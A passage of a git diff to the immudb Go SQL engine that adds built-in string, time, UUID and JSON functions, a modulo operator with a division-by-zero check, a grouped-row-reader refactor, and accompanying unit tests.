} +func (v *MaxValue) selectors() []Selector { + return nil +} + func (v *MaxValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -516,6 +532,10 @@ func (v *AVGValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue return nil, ErrUnexpected } +func (v *AVGValue) selectors() []Selector { + return nil +} + func (v *AVGValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index cb1da140c1..0adad90fcd 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -658,7 +658,6 @@ func (e *Engine) InferParameters(ctx context.Context, tx *SQLTx, sql string) (pa if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } - return e.InferParametersPreparedStmts(ctx, tx, stmts) } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index ee07507f6b..2ddd48f6c2 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1743,6 +1743,89 @@ func TestUpsertInto(t *testing.T) { require.NoError(t, err) } +func TestUpsertIntoSelect(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, `CREATE TABLE table1 ( + id INTEGER AUTO_INCREMENT, + meta JSON, + + PRIMARY KEY id + )`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, `CREATE TABLE table2 ( + id INTEGER AUTO_INCREMENT, + name VARCHAR, + age INTEGER, + active BOOLEAN, + created_at TIMESTAMP, + + PRIMARY KEY id + )`, nil) + require.NoError(t, err) + + n := 100 + for i := 0; i < n; i++ { + name := fmt.Sprintf("name%d", i) + age := 10 + rand.Intn(50) + active := rand.Intn(2) == 1 + + upsert := fmt.Sprintf( + `INSERT INTO table1 (meta) VALUES ('{"name": "%s", "age": %d, "active": %t, "createdAt": "%s"}')`, + name, + age, + active, + time.Now().Format("2006-01-02 15:04:05.999999"), + ) + _, _, err = engine.Exec( + context.Background(), + nil, + upsert, + nil, + ) + require.NoError(t, err) + } + + _, _, err = engine.Exec( + context.Background(), + nil, + `INSERT INTO table2(name, age, active, created_at) + SELECT meta->'name', meta->'age', meta->'active', meta->'createdAt'::TIMESTAMP + FROM table1 + `, + nil, + ) + require.NoError(t, err) + + rows, err := engine.queryAll( + context.Background(), + nil, + `SELECT t1.meta->'name' = t2.name, t1.meta->'age' = t2.age, t1.meta->'active' = t2.active, t1.meta->'createdAt'::TIMESTAMP = t2.created_at + FROM table1 AS t1 JOIN table2 AS t2 on t1.id = t2.id`, + nil, + ) + require.NoError(t, err) + require.Len(t, rows, 100) + + for _, row := range rows { + require.Len(t, row.ValuesByPosition, 4) + + for _, v := range row.ValuesByPosition { + require.True(t, v.RawValue().(bool)) + } + } +} + func TestInsertIntoEdgeCases(t *testing.T) { engine := setupCommonTest(t) @@ -2705,6 +2788,15 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) + + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id % 0", nil) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrDivisionByZero) + + err = r.Close() + require.NoError(t, err) }) t.Run("Query with floating-point division by zero", func(t *testing.T) { @@ -2716,6 +2808,15 @@ func TestQuery(t *testing.T) { err = r.Close() require.NoError(t, err) + + r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id % (1.0-1.0)", nil) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrDivisionByZero) + + err = r.Close() + require.NoError(t, err) }) r, err = engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active", nil) @@ -2760,34 +2861,60 @@ func TestQuery(t *testing.T) { require.NoError(t, err) }) - r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) - require.ErrorIs(t, err, ErrParsingError) - require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") - require.Nil(t, r) + t.Run("query expressions", func(t *testing.T) { + reader, err := engine.Query(context.Background(), nil, "SELECT 1, (id + 1) * 2.0, id % 2 = 0 FROM table1", nil) + require.NoError(t, err) - r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1)", nil) - require.ErrorIs(t, err, ErrExpectingDQLStmt) - require.Nil(t, r) + cols, err := reader.Columns(context.Background()) + require.NoError(t, err) + require.Len(t, cols, 3) - r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)", nil) - require.ErrorIs(t, err, ErrExpectingDQLStmt) - require.Nil(t, r) + require.Equal(t, ColDescriptor{Table: "table1", Column: "col0", Type: IntegerType}, cols[0]) + require.Equal(t, ColDescriptor{Table: "table1", Column: "col1", Type: Float64Type}, cols[1]) + require.Equal(t, ColDescriptor{Table: "table1", Column: "col2", Type: BooleanType}, cols[2]) - r, err = engine.QueryPreparedStmt(context.Background(), nil, nil, nil) - require.ErrorIs(t, err, ErrIllegalArguments) - require.Nil(t, r) + rows, err := ReadAllRows(context.Background(), reader) + require.NoError(t, err) + require.Len(t, rows, 10) + require.NoError(t, reader.Close()) - params = make(map[string]interface{}) - params["null_param"] = nil + for i, row := range rows { + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) + require.Equal(t, float64((i+1)*2), row.ValuesBySelector[EncodeSelector("", "table1", "col1")].RawValue()) + require.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) + } + }) - r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @null_param", params) - require.NoError(t, err) + t.Run("invalid queries", func(t *testing.T) { + r, err = engine.Query(context.Background(), nil, "INVALID QUERY", nil) + require.ErrorIs(t, err, ErrParsingError) + require.EqualError(t, err, "parsing error: syntax error: unexpected IDENTIFIER at position 7") + require.Nil(t, r) - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrNoMoreRows) + r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1)", nil) + require.ErrorIs(t, err, ErrExpectingDQLStmt) + require.Nil(t, r) - err = r.Close() - require.NoError(t, err) + r, err = engine.Query(context.Background(), nil, "UPSERT INTO table1 (id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)", nil) + require.ErrorIs(t, err, ErrExpectingDQLStmt) + require.Nil(t, r) + + r, err = engine.QueryPreparedStmt(context.Background(), nil, nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + require.Nil(t, r) + + params = make(map[string]interface{}) + params["null_param"] = nil + + r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE active = @null_param", params) + require.NoError(t, err) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = r.Close() + require.NoError(t, err) + }) } func TestJSON(t *testing.T) { @@ -8848,3 +8975,180 @@ func TestGrantSQLPrivileges(t *testing.T) { checkGrants("SHOW GRANTS") checkGrants("SHOW GRANTS FOR myuser") } + +func TestFunctions(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer closeStore(t, st) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + "CREATE TABLE mytable(id INTEGER, PRIMARY KEY id)", + nil, + ) + require.NoError(t, err) + + _, _, err = engine.Exec( + context.Background(), + nil, + "INSERT INTO mytable(id) VALUES (1)", + nil, + ) + require.NoError(t, err) + + t.Run("timestamp functions", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT NOW(1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT NOW() FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.IsType(t, time.Time{}, rows[0].ValuesByPosition[0].RawValue()) + }) + + t.Run("uuid functions", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT RANDOM_UUID(1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT RANDOM_UUID() FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.IsType(t, uuid.UUID{}, rows[0].ValuesByPosition[0].RawValue()) + }) + + t.Run("string functions", func(t *testing.T) { + t.Run("length", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT LENGTH(NULL, 1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT LENGTH(10) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT LENGTH(NULL) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.True(t, rows[0].ValuesByPosition[0].IsNull()) + require.Equal(t, IntegerType, rows[0].ValuesByPosition[0].Type()) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT LENGTH('immudb'), LENGTH('') FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, int64(6), rows[0].ValuesByPosition[0].RawValue().(int64)) + require.Equal(t, int64(0), rows[0].ValuesByPosition[1].RawValue().(int64)) + }) + + t.Run("substring", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 0, 6, true) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 0, 6) FROM mytable", nil) + require.ErrorContains(t, err, "parameter 'position' must be greater than zero") + + _, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 1, -1) FROM mytable", nil) + require.ErrorContains(t, err, "parameter 'length' cannot be negative") + + rows, err := engine.queryAll(context.Background(), nil, "SELECT SUBSTRING(NULL, 8, 0) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.True(t, rows[0].ValuesByPosition[0].IsNull()) + require.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type()) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 0) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, "", rows[0].ValuesByPosition[0].RawValue().(string)) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 6) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, "immudb", rows[0].ValuesByPosition[0].RawValue().(string)) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT SUBSTRING('Hello, immudb!', 8, 100) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, "immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) + }) + + t.Run("trim", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT TRIM(1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT TRIM(NULL, 1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT TRIM(NULL) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.True(t, rows[0].ValuesByPosition[0].IsNull()) + require.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type()) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT TRIM(' \t\n\r Hello, immudb! ') FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, "Hello, immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) + }) + + t.Run("concat", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT CONCAT() FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT CONCAT('ciao', NULL, true) FROM mytable", nil) + require.ErrorContains(t, err, "'CONCAT' function doesn't accept arguments of type BOOL") + + rows, err := engine.queryAll(context.Background(), nil, "SELECT CONCAT('Hello', ', ', NULL, 'immudb', NULL, '!') FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, "Hello, immudb!", rows[0].ValuesByPosition[0].RawValue().(string)) + }) + + t.Run("upper/lower", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT UPPER(1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT LOWER(NULL, 1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT UPPER(NULL), LOWER(NULL) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.True(t, rows[0].ValuesByPosition[0].IsNull()) + require.True(t, rows[0].ValuesByPosition[1].IsNull()) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT UPPER('immudb'), LOWER('IMMUDB') FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + + require.Equal(t, "IMMUDB", rows[0].ValuesByPosition[0].RawValue().(string)) + require.Equal(t, "immudb", rows[0].ValuesByPosition[1].RawValue().(string)) + }) + }) + + t.Run("json functions", func(t *testing.T) { + _, err := engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF(true) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF('{}'::JSON, 1) FROM mytable", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + rows, err := engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF(NULL) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Nil(t, rows[0].ValuesByPosition[0].RawValue()) + + rows, err = engine.queryAll(context.Background(), nil, "SELECT JSON_TYPEOF('{}'::JSON) FROM mytable", nil) + require.NoError(t, err) + require.Len(t, rows, 1) + require.Equal(t, "OBJECT", rows[0].ValuesByPosition[0].RawValue().(string)) + }) +} diff --git a/embedded/sql/functions.go b/embedded/sql/functions.go new file mode 100644 index 0000000000..d7eebddcd9 --- /dev/null +++ b/embedded/sql/functions.go @@ -0,0 +1,334 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package sql + +import ( + "fmt" + "strings" + "time" + + "github.com/google/uuid" +) + +const ( + LengthFnCall string = "LENGTH" + SubstringFnCall string = "SUBSTRING" + ConcatFnCall string = "CONCAT" + LowerFnCall string = "LOWER" + UpperFnCall string = "UPPER" + TrimFnCall string = "TRIM" + NowFnCall string = "NOW" + UUIDFnCall string = "RANDOM_UUID" + DatabasesFnCall string = "DATABASES" + TablesFnCall string = "TABLES" + TableFnCall string = "TABLE" + UsersFnCall string = "USERS" + ColumnsFnCall string = "COLUMNS" + IndexesFnCall string = "INDEXES" + GrantsFnCall string = "GRANTS" + JSONTypeOfFnCall string = "JSON_TYPEOF" +) + +var builtinFunctions = map[string]Function{ + LengthFnCall: &LengthFn{}, + SubstringFnCall: &SubstringFn{}, + ConcatFnCall: &ConcatFn{}, + LowerFnCall: &LowerUpperFnc{}, + UpperFnCall: &LowerUpperFnc{isUpper: true}, + TrimFnCall: &TrimFnc{}, + NowFnCall: &NowFn{}, + UUIDFnCall: &UUIDFn{}, + JSONTypeOfFnCall: &JsonTypeOfFn{}, +} + +type Function interface { + requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error + inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) + Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) +} + +// ------------------------------------- +// String Functions +// ------------------------------------- + +type LengthFn struct{} + +func (f *LengthFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return IntegerType, nil +} + +func (f *LengthFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != IntegerType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) + } + return nil +} + +func (f *LengthFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, LengthFnCall, len(params)) + } + + v := params[0] + if v.IsNull() { + return &NullValue{t: IntegerType}, nil + } + + if v.Type() != VarcharType { + return nil, fmt.Errorf("%w: '%s' function expects an argument of type %s", ErrIllegalArguments, LengthFnCall, VarcharType) + } + + s, _ := v.RawValue().(string) + return &Integer{val: int64(len(s))}, nil +} + +type ConcatFn struct{} + +func (f *ConcatFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *ConcatFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *ConcatFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) == 0 { + return nil, fmt.Errorf("%w: '%s' function does expects at least one argument", ErrIllegalArguments, ConcatFnCall) + } + + for _, v := range params { + if v.Type() != AnyType && v.Type() != VarcharType { + return nil, fmt.Errorf("%w: '%s' function doesn't accept arguments of type %s", ErrIllegalArguments, ConcatFnCall, v.Type()) + } + } + + var builder strings.Builder + for _, v := range params { + s, _ := v.RawValue().(string) + builder.WriteString(s) + } + return &Varchar{val: builder.String()}, nil +} + +type SubstringFn struct { +} + +func (f *SubstringFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *SubstringFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *SubstringFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 3 { + return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, SubstringFnCall, len(params)) + } + + v1, v2, v3 := params[0], params[1], params[2] + + if v1.IsNull() || v2.IsNull() || v3.IsNull() { + return &NullValue{t: VarcharType}, nil + } + + s, _ := v1.RawValue().(string) + pos, _ := v2.RawValue().(int64) + length, _ := v3.RawValue().(int64) + + if pos <= 0 { + return nil, fmt.Errorf("%w: parameter 'position' must be greater than zero", ErrIllegalArguments) + } + + if length < 0 { + return nil, fmt.Errorf("%w: parameter 'length' cannot be negative", ErrIllegalArguments) + } + + end := pos - 1 + length + if end > int64(len(s)) { + end = int64(len(s)) + } + return &Varchar{val: s[pos-1 : end]}, nil +} + +type LowerUpperFnc struct { + isUpper bool +} + +func (f *LowerUpperFnc) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *LowerUpperFnc) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *LowerUpperFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, f.name(), len(params)) + } + + v := params[0] + if v.IsNull() { + return &NullValue{t: VarcharType}, nil + } + + if v.Type() != VarcharType { + return nil, fmt.Errorf("%w: '%s' function expects an argument of type %s", ErrIllegalArguments, f.name(), VarcharType) + } + + s, _ := v.RawValue().(string) + + var res string + if f.isUpper { + res = strings.ToUpper(s) + } else { + res = strings.ToLower(s) + } + return &Varchar{val: res}, nil +} + +func (f *LowerUpperFnc) name() string { + if f.isUpper { + return UpperFnCall + } + return LowerFnCall +} + +type TrimFnc struct { +} + +func (f *TrimFnc) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *TrimFnc) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *TrimFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function does expects one argument but %d were provided", ErrIllegalArguments, TrimFnCall, len(params)) + } + + v := params[0] + if v.IsNull() { + return &NullValue{t: VarcharType}, nil + } + + if v.Type() != VarcharType { + return nil, fmt.Errorf("%w: '%s' function expects an argument of type %s", ErrIllegalArguments, TrimFnCall, VarcharType) + } + + s, _ := v.RawValue().(string) + return &Varchar{val: strings.Trim(s, " \t\n\r\v\f")}, nil +} + +// ------------------------------------- +// Time Functions +// ------------------------------------- + +type NowFn struct{} + +func (f *NowFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return TimestampType, nil +} + +func (f *NowFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != TimestampType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, TimestampType, t) + } + return nil +} + +func (f *NowFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) > 0 { + return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, NowFnCall, len(params)) + } + return &Timestamp{val: tx.Timestamp().Truncate(time.Microsecond).UTC()}, nil +} + +// ------------------------------------- +// JSON Functions +// ------------------------------------- + +type JsonTypeOfFn struct{} + +func (f *JsonTypeOfFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return VarcharType, nil +} + +func (f *JsonTypeOfFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != VarcharType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, VarcharType, t) + } + return nil +} + +func (f *JsonTypeOfFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) != 1 { + return nil, fmt.Errorf("%w: '%s' function expects %d arguments but %d were provided", ErrIllegalArguments, JSONTypeOfFnCall, 1, len(params)) + } + + v := params[0] + if v.IsNull() { + return NewNull(AnyType), nil + } + + jsonVal, ok := v.(*JSON) + if !ok { + return nil, fmt.Errorf("%w: '%s' function expects an argument of type JSON", ErrIllegalArguments, JSONTypeOfFnCall) + } + return NewVarchar(jsonVal.primitiveType()), nil +} + +// ------------------------------------- +// UUID Functions +// ------------------------------------- + +type UUIDFn struct{} + +func (f *UUIDFn) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return UUIDType, nil +} + +func (f *UUIDFn) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != UUIDType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) + } + return nil +} + +func (f *UUIDFn) Apply(_ *SQLTx, params []TypedValue) (TypedValue, error) { + if len(params) > 0 { + return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, UUIDFnCall, len(params)) + } + return &UUID{val: uuid.New()}, nil +} diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 8cf59420a1..25fddd2b8b 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -27,24 +27,26 @@ import ( type groupedRowReader struct { rowReader RowReader - selectors []Selector - groupByCols []*ColSelector - cols []ColDescriptor + selectors []*AggColSelector + groupByCols []*ColSelector + cols []ColDescriptor + allAggregations bool currRow *Row empty bool } -func newGroupedRowReader(rowReader RowReader, selectors []Selector, groupBy []*ColSelector) (*groupedRowReader, error) { - if rowReader == nil || len(selectors) == 0 { +func newGroupedRowReader(rowReader RowReader, allAggregations bool, selectors []*AggColSelector, groupBy []*ColSelector) (*groupedRowReader, error) { + if rowReader == nil { return nil, ErrIllegalArguments } gr := &groupedRowReader{ - rowReader: rowReader, - selectors: selectors, - groupByCols: groupBy, - empty: true, + rowReader: rowReader, + selectors: selectors, + groupByCols: groupBy, + empty: true, + allAggregations: allAggregations, } cols, err := gr.columns() @@ -139,9 +141,9 @@ func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColD return colDescriptors, nil } -func allAggregations(selectors []Selector) bool { - for _, sel := range selectors { - _, isAggregation := sel.(*AggColSelector) +func allAggregations(targets []TargetEntry) bool { + for _, t := range targets { + _, isAggregation := t.Exp.(*AggColSelector) if !isAggregation { return false } @@ -254,7 +256,7 @@ func updateRow(currRow, newRow *Row) error { } func (gr *groupedRowReader) emitCurrentRow(ctx context.Context) (*Row, error) { - if gr.empty && allAggregations(gr.selectors) && len(gr.groupByCols) == 0 { + if gr.empty && gr.allAggregations && len(gr.groupByCols) == 0 { zr, err := gr.zeroRow(ctx) if err != nil { return nil, err diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index e84fe26e22..b036aa2a8c 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -31,7 +31,7 @@ func TestGroupedRowReader(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, err = newGroupedRowReader(nil, nil, nil) + _, err = newGroupedRowReader(nil, false, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) @@ -50,7 +50,7 @@ func TestGroupedRowReader(t *testing.T) { r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) - gr, err := newGroupedRowReader(r, []Selector{&ColSelector{col: "id"}}, []*ColSelector{{col: "id"}}) + gr, err := newGroupedRowReader(r, false, []*AggColSelector{{aggFn: "COUNT", col: "id"}}, []*ColSelector{{col: "id"}}) require.NoError(t, err) orderBy := gr.OrderBy() @@ -61,7 +61,7 @@ func TestGroupedRowReader(t *testing.T) { cols, err := gr.Columns(context.Background()) require.NoError(t, err) - require.Len(t, cols, 1) + require.Len(t, cols, 2) scanSpecs := gr.ScanSpecs() require.NotNil(t, scanSpecs) diff --git a/embedded/sql/json_type.go b/embedded/sql/json_type.go index 31e7264b96..e3665912ea 100644 --- a/embedded/sql/json_type.go +++ b/embedded/sql/json_type.go @@ -1,3 +1,19 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package sql import ( @@ -73,6 +89,10 @@ func (v *JSON) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, er return v, nil } +func (sel *JSON) selectors() []Selector { + return nil +} + func (v *JSON) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -183,13 +203,6 @@ func (sel *JSONSelector) substitute(params map[string]interface{}) (ValueExp, er return sel, nil } -func (v *JSONSelector) alias() string { - if v.ColSelector.as != "" { - return v.ColSelector.as - } - return v.String() -} - func (v *JSONSelector) resolve(implicitTable string) (string, string, string) { aggFn, table, _ := v.ColSelector.resolve(implicitTable) return aggFn, table, v.String() @@ -212,6 +225,10 @@ func (sel *JSONSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (Type return jsonVal.lookup(sel.fields), nil } +func (sel *JSONSelector) selectors() []Selector { + return []Selector{sel} +} + func (sel *JSONSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { val := sel.ColSelector.reduceSelectors(row, implicitTable) diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index 8d4731e7f3..30ac10009d 100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -16,7 +16,10 @@ limitations under the License. package sql -import "fmt" +import ( + "fmt" + "math" +) func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { if vl.Type() == Float64Type || vr.Type() == Float64Type { @@ -63,6 +66,14 @@ func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, err return &Integer{val: nl / nr}, nil } + case MODOP: + { + if nr == 0 { + return nil, ErrDivisionByZero + } + + return &Integer{val: nl % nr}, nil + } case MULTOP: { return 